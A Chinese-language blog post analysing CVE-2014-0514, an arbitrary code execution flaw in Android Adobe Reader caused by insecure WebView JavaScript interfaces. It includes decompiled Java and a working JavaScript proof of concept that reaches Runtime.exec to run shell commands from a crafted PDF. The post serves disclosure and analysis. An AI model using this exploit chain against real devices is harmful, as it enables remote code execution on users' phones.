0x00 描述


前幾天老外在fd還有exploit-db上,公布了Adobe Reader任意代碼執行的漏洞。

漏洞編號:?CVE: 2014-0514

AdobeReader安裝量比較大,又和瀏覽器容器不同,分析一下。

Android Adobe Reader 調用webview的不安全的Javascript interfaces。

導致可以執行任意js代碼。具體查看WebView中接口隱患與手機掛馬利用

影響版本:

理論上Android Adobe Reader 11.2.0之前的版本多存在,Android version 11.1.3成功利用。

我查看了之前的幾個版本例如Android Adobe Reader 11.1.2 如下圖,問題也應該存在。

enter image description here

0x01利用


從反編譯出來的java代碼看

#!java
public class ARJavaScript
{
[...]

???public ARJavaScript(ARViewerActivity paramARViewerActivity)
???{
[...]
??????this.mWebView.addJavascriptInterface(new ARJavaScriptInterface(this), "_adobereader");
??????this.mWebView.addJavascriptInterface(new ARJavaScriptApp(this.mContext), "_app");
??????this.mWebView.addJavascriptInterface(new ARJavaScriptDoc(), "_doc");
??????this.mWebView.addJavascriptInterface(new ARJavaScriptEScriptString(this.mContext), "_escriptString");
??????this.mWebView.addJavascriptInterface(new ARJavaScriptEvent(), "_event");
??????this.mWebView.addJavascriptInterface(new ARJavaScriptField(), "_field");
??????this.mWebView.setWebViewClient(new ARJavaScript.1(this));
??????this.mWebView.loadUrl("file:///android_asset/javascript/index.html");
???}

_adobereader,_app,_doc,_escriptString,_event,_field這幾個變量都會存在任意代碼執行的問題.

利用代碼和之前一樣。

#!java
function execute(bridge, cmd) {
???return bridge.getClass().forName('java.lang.Runtime')
??????.getMethod('getRuntime',null).invoke(null,null).exec(cmd);
}

if(window._app) {
???try {
??????var path = '/data/data/com.adobe.reader/mobilereader.poc.txt';
??????execute(window._app, ['/system/bin/sh','-c','echo \"Lorem ipsum\" > ' + path]);
??????window._app.alert(path + ' created', 3);
???} catch(e) {
??????window._app.alert(e, 0);
???}
}

這里不同是構造 惡意的PDF。

首先需要一個PDF編輯器,比如Adobe Acrobat(flash達人pz推薦).

然后添加表單按鈕或者書簽等,調用事件添加

enter image description here

我這里看了下button最好演示,和老外的那個poc一樣基本上.

導入到android虛擬機里,打開,成功復現。

enter image description here

0x02 擴展


一些網盤或瀏覽器,看看能否調用adobe reader來預覽pdf的應用可能會存在這個漏洞,大部分應用都是直接下載pdf到本地。可以再測試一些能預覽pdf的郵箱之類的應用。

0x03 修復


新版本的Adobe Reader 11.2.0 [email protected]tInterface,老版本的用戶則在adobereader禁用了表單的js執行。 不知道那些殺毒軟件能不能檢測到這些惡意poc呢 :)

附上poc.pdf

您的支持將鼓勵我們繼續創作!

[微信] 掃描二維碼打賞

[支付寶] 掃描二維碼打賞